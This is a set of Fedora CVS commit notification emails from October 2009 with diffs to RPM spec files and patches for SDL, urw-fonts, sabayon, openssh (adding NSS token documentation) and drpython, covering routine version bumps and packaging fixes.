In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2880

Modified Files:
	gnome-web-photo.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9-2
- Rebuild against newer gecko



Index: gnome-web-photo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-web-photo/devel/gnome-web-photo.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- gnome-web-photo.spec	24 Sep 2009 02:03:30 -0000	1.29
+++ gnome-web-photo.spec	27 Oct 2009 12:42:51 -0000	1.30
@@ -1,9 +1,9 @@
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 
 Summary: HTML pages thumbnailer
 Name: gnome-web-photo
 Version: 0.9
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: Applications/Internet
 URL: http://download.gnome.org/sources/gnome-web-photo/%{version}/
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gnome-web-photo
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9-2
+- Rebuild against newer gecko
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 0.9-1
 - Update to 0.9
 



From twoerner at fedoraproject.org  Tue Oct 27 12:52:46 2009
From: twoerner at fedoraproject.org (Thomas Woerner)
Date: Tue, 27 Oct 2009 12:52:46 +0000 (UTC)
Subject: rpms/SDL/devel SDL-1.2.14-audiodriver.patch, NONE,
	1.1 SDL-1.2.14-byteorder.patch, NONE, 1.1 SDL.spec, 1.66,
	1.67 SDL-1.2.10-byteorder.patch, 1.2,
	NONE SDL-1.2.10-libdir.patch, 1.1,
	NONE SDL-1.2.10-pagesize.patch, 1.3,
	NONE SDL-1.2.11-dynamic-esd.patch, 1.1,
	NONE SDL-1.2.11-fixman.patch, 1.1,
	NONE SDL-1.2.12-x11dyn64.patch, 1.1,
	NONE SDL-1.2.13-audiodriver.patch, 1.1,
	NONE SDL-1.2.13-dynamic-pulse.patch, 1.1,
	NONE SDL-1.2.13-libdir.patch, 1.1,
	NONE SDL-1.2.13-pa-rewrite.patch, 1.1,
	NONE SDL-1.2.13-rh484362.patch, 1.1,
	NONE SDL-1.2.13-rh487720.patch, 1.1, NONE
Message-ID: <20091027125246.8BB8711C00E6@cvs1.fedora.phx.redhat.com>

Author: twoerner

Update of /cvs/pkgs/rpms/SDL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4750

Modified Files:
	SDL.spec 
Added Files:
	SDL-1.2.14-audiodriver.patch SDL-1.2.14-byteorder.patch 
Removed Files:
	SDL-1.2.10-byteorder.patch SDL-1.2.10-libdir.patch 
	SDL-1.2.10-pagesize.patch SDL-1.2.11-dynamic-esd.patch 
	SDL-1.2.11-fixman.patch SDL-1.2.12-x11dyn64.patch 
	SDL-1.2.13-audiodriver.patch SDL-1.2.13-dynamic-pulse.patch 
	SDL-1.2.13-libdir.patch SDL-1.2.13-pa-rewrite.patch 
	SDL-1.2.13-rh484362.patch SDL-1.2.13-rh487720.patch 
Log Message:
- new version 1.2.14
- dropped patches for upstream fixes: libdir, dynamic-esd, x11dyn64,
  dynamic-pulse, pa-rewrite, rh484362 and rh487720



SDL-1.2.14-audiodriver.patch:
 SDL_audio.c |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE SDL-1.2.14-audiodriver.patch ---
diff -up SDL-1.2.14/src/audio/SDL_audio.c.audiodriver SDL-1.2.14/src/audio/SDL_audio.c
--- SDL-1.2.14/src/audio/SDL_audio.c.audiodriver	2009-10-13 12:25:35.000000000 +0200
+++ SDL-1.2.14/src/audio/SDL_audio.c	2009-10-26 14:36:26.000000000 +0100
@@ -36,15 +36,15 @@
 
 /* Available audio drivers */
 static AudioBootStrap *bootstrap[] = {
-#if SDL_AUDIO_DRIVER_BSD
-	&BSD_AUDIO_bootstrap,
-#endif
 #if SDL_AUDIO_DRIVER_PULSE
 	&PULSE_bootstrap,
 #endif
 #if SDL_AUDIO_DRIVER_ALSA
 	&ALSA_bootstrap,
 #endif
+#if SDL_AUDIO_DRIVER_BSD
+	&BSD_AUDIO_bootstrap,
+#endif
 #if SDL_AUDIO_DRIVER_OSS
 	&DSP_bootstrap,
 	&DMA_bootstrap,

SDL-1.2.14-byteorder.patch:
 SDL_endian.h |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE SDL-1.2.14-byteorder.patch ---
diff -up SDL-1.2.14/include/SDL_endian.h.byteorder SDL-1.2.14/include/SDL_endian.h
--- SDL-1.2.14/include/SDL_endian.h.byteorder	2009-10-13 01:07:19.000000000 +0200
+++ SDL-1.2.14/include/SDL_endian.h	2009-10-26 14:27:39.000000000 +0100
@@ -39,6 +39,10 @@
 /*@}*/
 
 #ifndef SDL_BYTEORDER	/* Not defined in SDL_config.h? */
+#ifdef __linux__
+#include <endian.h>
+#define SDL_BYTEORDER  __BYTE_ORDER
+#else /* __linux __ */
 #if defined(__hppa__) || \
     defined(__m68k__) || defined(mc68000) || defined(_M_M68K) || \
     (defined(__MIPS__) && defined(__MISPEB__)) || \
@@ -48,6 +52,7 @@
 #else
 #define SDL_BYTEORDER	SDL_LIL_ENDIAN
 #endif
+#endif /* __linux __ */
 #endif /* !SDL_BYTEORDER */
 
 


Index: SDL.spec
===================================================================
RCS file: /cvs/pkgs/rpms/SDL/devel/SDL.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- SDL.spec	24 Jul 2009 16:17:56 -0000	1.66
+++ SDL.spec	27 Oct 2009 12:52:46 -0000	1.67
@@ -1,26 +1,13 @@
 Summary: A cross-platform multimedia library
 Name: SDL
-Version: 1.2.13
-Release: 10%{?dist}
+Version: 1.2.14
+Release: 1%{?dist}
 Source: http://www.libsdl.org/release/%{name}-%{version}.tar.gz
 Source1: SDL_config.h
-Patch0: SDL-1.2.10-byteorder.patch
-Patch17: SDL-1.2.13-libdir.patch
-Patch21: SDL-1.2.12-multilib.patch
-Patch23: SDL-1.2.11-dynamic-esd.patch
-Patch24: SDL-1.2.12-x11dyn64.patch
-Patch25: SDL-1.2.12-disable_yasm.patch
-Patch26: SDL-1.2.13-dynamic-pulse.patch
-Patch28: SDL-1.2.13-audiodriver.patch
-# submitted upstream:
-# http://bugzilla.libsdl.org/show_bug.cgi?id=698
-Patch29: SDL-1.2.13-pa-rewrite.patch
-# submitted upstream:
-# http://bugzilla.libsdl.org/show_bug.cgi?id=699
-Patch30: SDL-1.2.13-rh484362.patch
-# upstream patch:
-# qemu-kvm segfaults on startup in SDL_memcpyMMX/SSE
-Patch31: SDL-1.2.13-rh487720.patch
+Patch0: SDL-1.2.14-byteorder.patch
+Patch1: SDL-1.2.12-multilib.patch
+Patch2: SDL-1.2.12-disable_yasm.patch
+Patch3: SDL-1.2.14-audiodriver.patch
 
 URL: http://www.libsdl.org/
 License: LGPLv2+
@@ -75,16 +62,9 @@ static SDL applications.
 %prep
 %setup -q 
 %patch0 -p1 -b .byteorder
-%patch17 -p1 -b .libdir
-%patch21 -p1 -b .multilib
-%patch23 -p1 -b .dynamic-esd
-%patch24 -p1 -b .x11dyn64
-%patch25 -p1 -b .disable_yasm
-%patch26 -p1 -b .dynamic-pulse
-%patch28 -p1 -b .audiodriver
-%patch29 -p1 -b .pa-rewrite
-%patch30 -p1 -b .rh484362
-%patch31 -p1 -b .rh487720
+%patch1 -p1 -b .multilib
+%patch2 -p1 -b .disable_yasm
+%patch3 -p1 -b .audiodriver
 
 %build
 aclocal
@@ -142,6 +122,11 @@ rm -rf %{buildroot}
 %{_libdir}/lib*.a
 
 %changelog
+* Tue Oct 27 2009 Thomas Woerner <twoerner at redhat.com> 1.2.14-1
+- new version 1.2.14
+- dropped patches for upstream fixes: libdir, dynamic-esd, x11dyn64,
+  dynamic-pulse, pa-rewrite, rh484362 and rh487720
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.13-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- SDL-1.2.10-byteorder.patch DELETED ---


--- SDL-1.2.10-libdir.patch DELETED ---


--- SDL-1.2.10-pagesize.patch DELETED ---


--- SDL-1.2.11-dynamic-esd.patch DELETED ---


--- SDL-1.2.11-fixman.patch DELETED ---


--- SDL-1.2.12-x11dyn64.patch DELETED ---


--- SDL-1.2.13-audiodriver.patch DELETED ---


--- SDL-1.2.13-dynamic-pulse.patch DELETED ---


--- SDL-1.2.13-libdir.patch DELETED ---


--- SDL-1.2.13-pa-rewrite.patch DELETED ---


--- SDL-1.2.13-rh484362.patch DELETED ---


--- SDL-1.2.13-rh487720.patch DELETED ---



From than at fedoraproject.org  Tue Oct 27 13:07:52 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue, 27 Oct 2009 13:07:52 +0000 (UTC)
Subject: rpms/urw-fonts/F-12 urw-fonts.spec,1.34,1.35
Message-ID: <20091027130752.9FCCD11C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/urw-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6129

Modified Files:
	urw-fonts.spec 
Log Message:
fix #77314, invalid URL



Index: urw-fonts.spec
===================================================================
RCS file: /cvs/extras/rpms/urw-fonts/F-12/urw-fonts.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- urw-fonts.spec	27 Jul 2009 06:38:46 -0000	1.34
+++ urw-fonts.spec	27 Oct 2009 13:07:52 -0000	1.35
@@ -5,16 +5,15 @@
 Summary: Free versions of the 35 standard PostScript fonts.
 Name: urw-fonts
 Version: 2.4
-Release: 8%{?dist}
-Source: ftp://ftp.gnome.ru/fonts/urw/release/urw-fonts-%{filippov_version}.tar.bz2
-URL: ftp://ftp.gnome.ru/fonts/urw/release/
+Release: 9%{?dist}
+Source: %{name}-%{filippov_version}.tar.bz2
+URL: http://svn.ghostscript.com/ghostscript/tags/urw-fonts-1.0.7pre44/
 # URW holds copyright
 # No version specified
 License: GPL+
 Group: User Interface/X
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildArchitectures: noarch
-
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+BuildArch: noarch
 Requires(post): fontconfig
 Requires(postun): fontconfig
 
@@ -73,6 +72,9 @@ rm -rf $RPM_BUILD_ROOT
 %{fontdir}/*.pfb
 
 %changelog
+* Tue Oct 27 2009 Than Ngo <than at redhat.com> - 2.4-9
+- fix #77314, invalid URL
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From twoerner at fedoraproject.org  Tue Oct 27 13:11:25 2009
From: twoerner at fedoraproject.org (Thomas Woerner)
Date: Tue, 27 Oct 2009 13:11:25 +0000 (UTC)
Subject: rpms/SDL/devel .cvsignore,1.15,1.16 sources,1.16,1.17
Message-ID: <20091027131125.0F60611C00E6@cvs1.fedora.phx.redhat.com>

Author: twoerner

Update of /cvs/pkgs/rpms/SDL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7348

Modified Files:
	.cvsignore sources 
Log Message:
- 1.2.14 sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/SDL/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	27 Aug 2007 16:32:32 -0000	1.15
+++ .cvsignore	27 Oct 2009 13:11:24 -0000	1.16
@@ -1,3 +1,4 @@
 SDL-1.2.10.tar.gz
 SDL-1.2.11.tar.gz
 SDL-1.2.12.tar.gz
+SDL-1.2.14.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/SDL/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	7 Jan 2008 18:03:23 -0000	1.16
+++ sources	27 Oct 2009 13:11:24 -0000	1.17
@@ -1 +1 @@
-c6660feea2a6834de10bc71b2f8e4d88  SDL-1.2.13.tar.gz
+e52086d1b508fa0b76c52ee30b55bec4  SDL-1.2.14.tar.gz



From than at fedoraproject.org  Tue Oct 27 13:19:58 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue, 27 Oct 2009 13:19:58 +0000 (UTC)
Subject: rpms/urw-fonts/devel urw-fonts.spec,1.34,1.35
Message-ID: <20091027131958.D1CB911C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/urw-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8336

Modified Files:
	urw-fonts.spec 
Log Message:
fix #77314, invalid URL



Index: urw-fonts.spec
===================================================================
RCS file: /cvs/extras/rpms/urw-fonts/devel/urw-fonts.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- urw-fonts.spec	27 Jul 2009 06:38:46 -0000	1.34
+++ urw-fonts.spec	27 Oct 2009 13:19:58 -0000	1.35
@@ -5,16 +5,15 @@
 Summary: Free versions of the 35 standard PostScript fonts.
 Name: urw-fonts
 Version: 2.4
-Release: 8%{?dist}
-Source: ftp://ftp.gnome.ru/fonts/urw/release/urw-fonts-%{filippov_version}.tar.bz2
-URL: ftp://ftp.gnome.ru/fonts/urw/release/
+Release: 9%{?dist}
+Source: %{name}-%{filippov_version}.tar.bz2
+URL: http://svn.ghostscript.com/ghostscript/tags/urw-fonts-1.0.7pre44/
 # URW holds copyright
 # No version specified
 License: GPL+
 Group: User Interface/X
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildArchitectures: noarch
-
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+BuildArch: noarch
 Requires(post): fontconfig
 Requires(postun): fontconfig
 
@@ -73,6 +72,9 @@ rm -rf $RPM_BUILD_ROOT
 %{fontdir}/*.pfb
 
 %changelog
+* Tue Oct 27 2009 Than Ngo <than at redhat.com> - 2.4-9
+- fix #77314, invalid URL
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From tbzatek at fedoraproject.org  Tue Oct 27 13:25:05 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Tue, 27 Oct 2009 13:25:05 +0000 (UTC)
Subject: rpms/sabayon/devel .cvsignore, 1.24, 1.25 sabayon.spec, 1.65,
	1.66 selinux.patch, 1.3, 1.4 sources, 1.24, 1.25
Message-ID: <20091027132505.62FF011C00E6@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/sabayon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8805

Modified Files:
	.cvsignore sabayon.spec selinux.patch sources 
Log Message:
* Tue Oct 27 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.29.0-1
- Update to 2.29.0



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sabayon/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	22 Sep 2009 08:37:24 -0000	1.24
+++ .cvsignore	27 Oct 2009 13:25:04 -0000	1.25
@@ -1 +1 @@
-sabayon-2.28.0.tar.bz2
+sabayon-2.29.0.tar.bz2


Index: sabayon.spec
===================================================================
RCS file: /cvs/extras/rpms/sabayon/devel/sabayon.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sabayon.spec	23 Oct 2009 09:42:20 -0000	1.65
+++ sabayon.spec	27 Oct 2009 13:25:04 -0000	1.66
@@ -7,14 +7,14 @@
 %define sabayon_user_uid 86
 
 Name:    sabayon
-Version: 2.28.0
-Release: 2%{?dist}
+Version: 2.29.0
+Release: 1%{?dist}
 Summary: Tool to maintain user profiles in a GNOME desktop
 
 Group:   Applications/System
 License: GPLv2+
 URL:     http://www.gnome.org/projects/sabayon
-Source:  http://ftp.gnome.org/pub/GNOME/sources/sabayon/2.28/sabayon-%{version}.tar.bz2
+Source:  http://ftp.gnome.org/pub/GNOME/sources/sabayon/2.29/sabayon-%{version}.tar.bz2
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -182,9 +182,9 @@ fi
 %{python_sitearch}/%{name}/storage.py
 %{python_sitearch}/%{name}/storage.pyc
 %ghost %{python_sitearch}/%{name}/storage.pyo
-%{python_sitearch}/%{name}/userdb.py
-%{python_sitearch}/%{name}/userdb.pyc
-%ghost %{python_sitearch}/%{name}/userdb.pyo
+%{python_sitearch}/%{name}/systemdb.py
+%{python_sitearch}/%{name}/systemdb.pyc
+%ghost %{python_sitearch}/%{name}/systemdb.pyo
 %{python_sitearch}/%{name}/userprofile.py
 %{python_sitearch}/%{name}/userprofile.pyc
 %ghost %{python_sitearch}/%{name}/userprofile.pyo
@@ -238,6 +238,9 @@ fi
 %{python_sitearch}/%{name}/gconfviewer.py
 %{python_sitearch}/%{name}/gconfviewer.pyc
 %ghost %{python_sitearch}/%{name}/gconfviewer.pyo
+%{python_sitearch}/%{name}/groupsdialog.py
+%{python_sitearch}/%{name}/groupsdialog.pyc
+%ghost %{python_sitearch}/%{name}/groupsdialog.pyo
 %{python_sitearch}/%{name}/profilesdialog.py
 %{python_sitearch}/%{name}/profilesdialog.pyc
 %ghost %{python_sitearch}/%{name}/profilesdialog.pyo
@@ -269,6 +272,9 @@ fi
 %ghost %{python_sitearch}/%{name}/lockdown/*.pyo
 
 %changelog
+* Tue Oct 27 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.29.0-1
+- Update to 2.29.0
+
 * Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> - 2.28.0-2
 - Move errors to sabayon-apply package
 - Only trap Exception on sabayon-apply error

selinux.patch:
 admin-tool/profilesdialog.py |    6 ++++++
 admin-tool/sabayon-apply     |    2 +-
 lib/systemdb.py              |    6 ++++++
 3 files changed, 13 insertions(+), 1 deletion(-)

Index: selinux.patch
===================================================================
RCS file: /cvs/extras/rpms/sabayon/devel/selinux.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- selinux.patch	23 Oct 2009 09:42:21 -0000	1.3
+++ selinux.patch	27 Oct 2009 13:25:04 -0000	1.4
@@ -1,7 +1,8 @@
-diff -up sabayon-2.22.0/admin-tool/profilesdialog.py.selinux sabayon-2.22.0/admin-tool/profilesdialog.py
---- sabayon-2.22.0/admin-tool/profilesdialog.py.selinux	2008-03-11 16:41:44.000000000 -0400
-+++ sabayon-2.22.0/admin-tool/profilesdialog.py	2008-03-11 20:45:59.000000000 -0400
-@@ -34,6 +34,7 @@ import protosession
+diff --git a/admin-tool/profilesdialog.py b/admin-tool/profilesdialog.py
+index adf5ab4..d70dec3 100755
+--- a/admin-tool/profilesdialog.py
++++ b/admin-tool/profilesdialog.py
+@@ -35,6 +35,7 @@ import protosession
  import debuglog
  import errors
  from config import *
@@ -9,7 +10,7 @@ diff -up sabayon-2.22.0/admin-tool/profi
  
  def dprint (fmt, *args):
      debuglog.debug_log (False, debuglog.DEBUG_LOG_DOMAIN_ADMIN_TOOL, fmt % args)
-@@ -110,6 +111,11 @@ class Session (gobject.GObject):
+@@ -111,6 +112,11 @@ class Session (gobject.GObject):
      def __copy_from_user (self, user_path, profile_path):
          os.chown (user_path, os.geteuid (), os.getegid ())
          shutil.move (user_path, profile_path)
@@ -21,19 +22,33 @@ diff -up sabayon-2.22.0/admin-tool/profi
          dprint ("Moved %s back from %s", user_path, profile_path)
  
      @errors.checked_callback (debuglog.DEBUG_LOG_DOMAIN_ADMIN_TOOL)
-diff -up sabayon-2.22.0/lib/userdb.py.selinux sabayon-2.22.0/lib/userdb.py
---- sabayon-2.22.0/lib/userdb.py.selinux	2008-03-11 16:41:44.000000000 -0400
-+++ sabayon-2.22.0/lib/userdb.py	2008-03-11 20:49:35.000000000 -0400
-@@ -28,6 +28,7 @@ import random
+diff --git a/admin-tool/sabayon-apply b/admin-tool/sabayon-apply
+index 78e8407..e8b3bbf 100755
+--- a/admin-tool/sabayon-apply
++++ b/admin-tool/sabayon-apply
+@@ -147,7 +147,7 @@ if __name__ == '__main__':
+ 
+         if errors.errors_have_recoverable_error ():
+             mprint ("There were recoverable errors while applying the profile.")
+-    except:
++    except Exception:
+         errors.errors_exit_with_fatal_exception (debuglog.DEBUG_LOG_DOMAIN_SABAYON_APPLY,
+                                                  util.get_admin_log_config_filename ())
+ 
+diff --git a/lib/systemdb.py b/lib/systemdb.py
+index 75f8caa..cec79f6 100644
+--- a/lib/systemdb.py
++++ b/lib/systemdb.py
+@@ -29,6 +29,7 @@ import random
  import ldap
  import socket
  import debuglog
 +import selinux
  
- defaultConf="""<profiles>
-   <default profile=""/>
-@@ -354,6 +355,11 @@ class UserDatabase:
-             raise UserDatabaseException(
+ #
+ # Default empty config.
+@@ -359,6 +360,11 @@ class SystemDatabase(object):
+             raise SystemDatabaseException(
                  _("Failed to save UserDatabase to %s") % filename)
  
 +        if selinux.is_selinux_enabled() > 0:
@@ -44,15 +59,3 @@ diff -up sabayon-2.22.0/lib/userdb.py.se
          self.modified = 0
  
      def set_default_profile (self, profile):
-diff -up sabayon-2.28.0/admin-tool/sabayon-apply~ sabayon-2.28.0/admin-tool/sabayon-apply
---- sabayon-2.28.0/admin-tool/sabayon-apply~	2009-09-21 16:12:03.000000000 -0400
-+++ sabayon-2.28.0/admin-tool/sabayon-apply	2009-10-22 16:23:21.000000000 -0400
-@@ -115,7 +115,7 @@ if __name__ == '__main__':
- 
-         if errors.errors_have_recoverable_error ():
-             mprint ("There were recoverable errors while applying the profile.")
--    except:
-+    except Exception:
-         errors.errors_exit_with_fatal_exception (debuglog.DEBUG_LOG_DOMAIN_SABAYON_APPLY,
-                                                  util.get_admin_log_config_filename ())
- 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sabayon/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	22 Sep 2009 08:37:24 -0000	1.24
+++ sources	27 Oct 2009 13:25:04 -0000	1.25
@@ -1 +1 @@
-6cf8acabb61e88ebfe0ded14c96ab211  sabayon-2.28.0.tar.bz2
+2ced41d5025651b07911c72931358663  sabayon-2.29.0.tar.bz2



From jfch2222 at fedoraproject.org  Tue Oct 27 13:48:50 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Tue, 27 Oct 2009 13:48:50 +0000 (UTC)
Subject: rpms/openssh/devel openssh-5.3p1-nss-keys.patch, 1.1,
	1.2 openssh.spec, 1.174, 1.175
Message-ID: <20091027134850.4A32F11C00E6@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13450

Modified Files:
	openssh-5.3p1-nss-keys.patch openssh.spec 
Log Message:
Add README.nss


openssh-5.3p1-nss-keys.patch:
 openssh-5.2p1/README.nss   |   36 ++++
 openssh-5.3p1/Makefile.in  |    2 
 openssh-5.3p1/authfd.c     |   39 +++++
 openssh-5.3p1/authfd.h     |    8 +
 openssh-5.3p1/configure.ac |   15 ++
 openssh-5.3p1/key.c        |   61 ++++++++
 openssh-5.3p1/key.h        |   20 ++
 openssh-5.3p1/nsskeys.c    |  327 +++++++++++++++++++++++++++++++++++++++++++++
 openssh-5.3p1/nsskeys.h    |   39 +++++
 openssh-5.3p1/readconf.c   |   20 ++
 openssh-5.3p1/readconf.h   |    2 
 openssh-5.3p1/ssh-add.c    |  181 ++++++++++++++++++++++++
 openssh-5.3p1/ssh-agent.c  |  121 ++++++++++++++++
 openssh-5.3p1/ssh-dss.c    |   36 ++++
 openssh-5.3p1/ssh-keygen.c |   51 ++++++-
 openssh-5.3p1/ssh-rsa.c    |   42 +++++
 openssh-5.3p1/ssh.c        |   28 +++
 17 files changed, 1016 insertions(+), 12 deletions(-)

Index: openssh-5.3p1-nss-keys.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/openssh-5.3p1-nss-keys.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openssh-5.3p1-nss-keys.patch	2 Oct 2009 13:17:07 -0000	1.1
+++ openssh-5.3p1-nss-keys.patch	27 Oct 2009 13:48:48 -0000	1.2
@@ -1366,3 +1366,43 @@ diff -up openssh-5.3p1/ssh-rsa.c.nss-key
  	/* encode signature */
  	buffer_init(&b);
  	buffer_put_cstring(&b, "ssh-rsa");
+diff -up /dev/null openssh-5.2p1/README.nss
+--- /dev/null	2008-11-17 17:51:52.160001870 +0100
++++ openssh-5.2p1/README.nss	2008-11-18 19:11:41.000000000 +0100
+@@ -0,0 +1,36 @@
++How to use NSS tokens with OpenSSH?
++
++This version of OpenSSH contains experimental support for authentication using
++keys stored in tokens stored in NSS database. This for example includes any
++PKCS#11 tokens which are installed in your NSS database.
++
++As the code is experimental and preliminary only SSH protocol 2 is supported.
++The NSS certificate and token databases are looked for in the ~/.ssh
++directory or in a directory specified by environment variable NSS_DB_PATH.
++
++Common operations:
++
++(1) tell the ssh client to use the NSS keys:
++
++	$ ssh -o 'UseNSS yes' otherhost
++	
++	if you want to use a specific token:
++	
++	$ ssh -o 'UseNSS yes' -o 'NSS Token My PKCS11 Token' otherhost
++
++(2) or tell the agent to use the NSS keys:
++
++	$ ssh-add -n
++	
++	if you want to use a specific token:
++	
++	$ ssh-add -n -T 'My PKCS11 Token'
++
++(3) extract the public key from token so it can be added to the
++server:
++
++	$ ssh-keygen -n
++	
++	if you want to use a specific token and/or key:
++	
++	$ ssh-keygen -n -D 'My PKCS11 Token' 'My Key ID'


Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/openssh.spec,v
retrieving revision 1.174
retrieving revision 1.175
diff -u -p -r1.174 -r1.175
--- openssh.spec	19 Oct 2009 07:32:33 -0000	1.174
+++ openssh.spec	27 Oct 2009 13:48:48 -0000	1.175
@@ -69,8 +69,9 @@
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
 Version: 5.3p1
-Release: 4%{?dist}%{?rescue_rel}
+Release: 5%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
+#URL1: http://pamsshauth.sourceforge.net
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
 #Source1: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz.asc
 # This package differs from the upstream OpenSSH tarball in that
@@ -520,6 +521,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 27 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-5
+- Add README.nss
+
 * Mon Oct 19 2009 Tomas Mraz <tmraz at redhat.com> - 5.3p1-4
 - Add pam_ssh_agent_auth module to a subpackage.
 



From mwiriadi at fedoraproject.org  Tue Oct 27 13:53:23 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 13:53:23 +0000 (UTC)
Subject: rpms/drpython/devel .cvsignore, 1.3, 1.4 drpython.desktop, 1.1,
	1.2 drpython.spec, 1.7, 1.8 import.log, 1.1, 1.2 sources, 1.3, 1.4
Message-ID: <20091027135324.0783C11C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13955/devel

Modified Files:
	.cvsignore drpython.desktop drpython.spec import.log sources 
Log Message:
Fix bz 487798
Fixes lots of bugs refer to Changelog file




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Mar 2008 14:21:08 -0000	1.3
+++ .cvsignore	27 Oct 2009 13:53:23 -0000	1.4
@@ -1 +1 @@
-drpython-3.11.0.zip
+drpython-3.11.1.zip


Index: drpython.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/drpython.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- drpython.desktop	5 Jan 2008 22:50:25 -0000	1.1
+++ drpython.desktop	27 Oct 2009 13:53:23 -0000	1.2
@@ -8,4 +8,4 @@ MimeType=application/x-designer;
 Terminal=false
 Encoding=UTF-8
 Type=Application
-Categories=Development;
+Categories=Development;IDE;


Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/drpython.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- drpython.spec	24 Jul 2009 20:33:33 -0000	1.7
+++ drpython.spec	27 Oct 2009 13:53:23 -0000	1.8
@@ -1,9 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
-Version:        3.11.0
-Release:        6%{?dist}
+Version:        3.11.1
+Release:        1%{?dist}
 Summary:        A simple Python IDE designed with teaching in mind
-Epoch:          1
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://drpython.sourceforge.net/
@@ -23,7 +22,7 @@ and has a clean, simple interface. It is
 using wxPython as the gui.
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{name}_%{version}
 
